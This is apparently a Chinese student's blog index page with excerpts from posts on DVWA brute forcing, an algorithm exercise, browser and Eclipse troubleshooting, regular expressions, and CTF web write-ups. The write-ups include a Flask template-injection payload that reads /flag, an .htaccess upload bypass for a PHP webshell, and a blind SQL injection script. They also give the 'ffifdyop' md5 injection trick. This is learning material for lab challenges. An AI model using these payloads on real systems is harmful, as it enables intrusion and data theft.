网安作业2
DVWA实验一下都是基于low,mid,high级别的实验,为了方便叙述,提前在数据库中建了一个flag表
Brute Force使用工具 :bp
使用材料:密码字典
bp的四种爆破攻击类型第一种:Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
第二种:Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
第三种:Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组 ...
算法上机复习
最近算法实验要上机考试,所以还是准备一下吧(还不是因为自己太菜了)
16级题目问题 A: 星空梦想——鲁班题目描述鲁班七号是王者峡谷里的射手,站撸英雄。战场上的鲁班七号,机制强大的鲨嘴炮,立刻将挡在前路的任何物体轰飞。正如他所说的,“借你们的肉体试验下新发明的威力”。是的,这就是鲁班大师和他的天才机关造物鲁班七号。然而,鲁班最为致命的缺点是腿短,跑得慢,一个稍不留神,便会被刺客所击杀。
既然腿短,那么就来多多运动吧,跳跳台阶可还行?假设鲁班七号一次可以跳上1级台阶,但极限一次只能跳上2级台阶(腿短没办法,嘤嘤嘤)。鲁班七号现在从0级阶梯开始,最终跳上第n级的台阶,求总共有多少种跳法?
输入多组测试用例。
第一行输入包含一个整数T(1<=T<=50),代表测试用例个数。
接下来T行,每行输入包含一个整数n(1<=n<=50),代表鲁班最终跳上了第n级台阶。
输出每组测试用例对应一行输出,每行输出一个整数ans,代表鲁班最终跳上第n级台阶的跳法种数。
样例输入123433450
样例输出1233520365011074
提示注意结果超过int范围,请用lon ...
google搜索引擎&eclipse启动问题
谷歌搜索引擎前两天突然无法搜索东西但是可以继续访问YouTube,就**离谱。
由于课程原因需要学习java,今天就下载了一个Java常用的编辑器eclipse,但是启动时给我一个弹窗,版本不一致。
google浏览器问题Google浏览器可以访问外网,但是无法使用搜索引擎搜东西,每次显示无法连接www.google.com
解决一开始想着卸载重装,发现还是不行,后来换成了测试版本结果真能用,但是两天没到又出现那种情况,很无语
想着应该是google.com被屏蔽了,试着清除dns缓存
1ipconfig /flushdns
还是不行,直接释放ip重新申请
12ipconfig /releaseipconfig /renew
然后就可以用了。。
(几个小时过去了就他妈不能用了,真尼玛离谱)
eclipse问题问题弹窗内容
Version 1.8.0_271 of the JVM is not suitable for this product.Version: 11or greater is required.
JVM的1.8.0_271版本不适合此产品。版本:11或更高版本是 ...
正则表达式
在一些代码审计的题目当中经常会出现使用正则表达过滤字符串的情况,所以有必要系统的学习一下!
什么是正则表达式详情见这
菜鸡教程中介绍的很详细。
特殊字符许多元字符要求在试图匹配它们时特别对待。若要匹配这些特殊字符,必须首先使字符”转义”,即,将反斜杠字符\ 放在它们前面。下表列出了正则表达式中的特殊字符:
特别字符
描述
$
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
( )
标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ( 和 )。
*
匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。
+
匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
.
匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。
[
标记一个中括号表达式的开始。要匹配 [,请使用\[。
?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 ?。
...
cumt华为杯
cumt_华为杯经典的学长虐菜局,web只做出来一个,另外两题好不容易有思路了,都被卡死了
webdoge真签到题,抽个奖就给出了flag
babyflask刚进入页面,只有一张图片,查看源码也没发现什么
就是了模板注入
1url+{{7*7}}Copy
页面出现404报错,并且显示的是url+49,确定是模板注入
123456789{{''.__class__.__mro__[2].__subclasses__()}}查看模块时,发现存在waf经过测试发现是过滤了[]于是使用{{''.__class__.__mro__.__getitem__(2).__subclasses__()}}存在file模块用read读取文件内容exp:''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()Cop ...
buuctf-upload
buuctf-upload
[MRCTF2020]你传你🐎呢先上传一个图片,发现上传成功了,还给出了文件的保存路径
再尝试上传1.php但是出现了,报错提示
首先尝试的是,将Content-Type: image/jpeg改为图片类型,但是还是无法上传
再尝试一下.htaccess文件
文件内容
"a.jpg">12SetHandler application/x-httpd-php</FilesMatch>
上传成功后,再上传包含一句话木马的 a.jpg文件,.htaccess文件的作用就是将指定类型的文件当作php文件运行
所以表面上是jpg类型的文件,但是是当作php文件
上传成功后,蚁剑访问url+/upload/3af588e32ac72180588d18d5c3b470b4/a.jpg
密码为:cmd
[SUCTF 2019]CheckIn试着上传php文件,提示非法后缀名,继续修改后缀名,发现php3,php5,phtml等可执行文件后不可上传
想到上传.htacess文件,但是也提示了非法后缀名,这个方法行不通了
但是之前做 ...
buuctf-z7z8
buuctf上的其他题型的集合,懒得分类了
buuctf-z7z8
[BUUCTF 2018]Online Tool123456789101112131415161718<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); ...
buuctf-sql注入
buuctf–注入篇
[CISCN2019 华北赛区 Day2 Web1]Hack World给了提示,All You Want Is In Table 'flag' and the column is 'flag'
猜测flag在flag 表中,查询语句应该是 select flag from flag
经过测试,发现这题过滤了很多关键字,or,union,order等,猜测是盲注
构造盲注语句
id=if((ascii(substr((select(flag)from(flag)),0,1))>90),1,2)
两次的提示语句不一样,说明这个注入语句是对的,且当提示Hello时应该是对的。
12345678910111213141516171819202122232425// 二分注入import requestsurl = "http://376688f4-59c4-4f47-8d0e-36c966e45631.node3.buuoj.cn/index.php"data = {id : "&qu ...
BJDCTF2020
BJDCTF-web
easy md5F12看到了提示,给出了sql语句
1Hint: select * from 'admin' where password=md5($pass,true)
这里是将输入的密码进行了一次md5的加密
这里的参数raw=true ,所以是将我们输入的密码加密16字符二进制格式,如果想完成注入,则md5值经过hex转成字符串后为 ‘or’…….这样的字符串,只要出现了or,且or后面的值为真即可完成注入。
select * from 'admin' where password=' or 'sdaa
这里经常使用的字符串是ffifdyop,该字符串md5加密后若raw参数为True时会返回 ‘or’6<trash> (<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉)
查询语句为
select * from 'admin' where passwo ...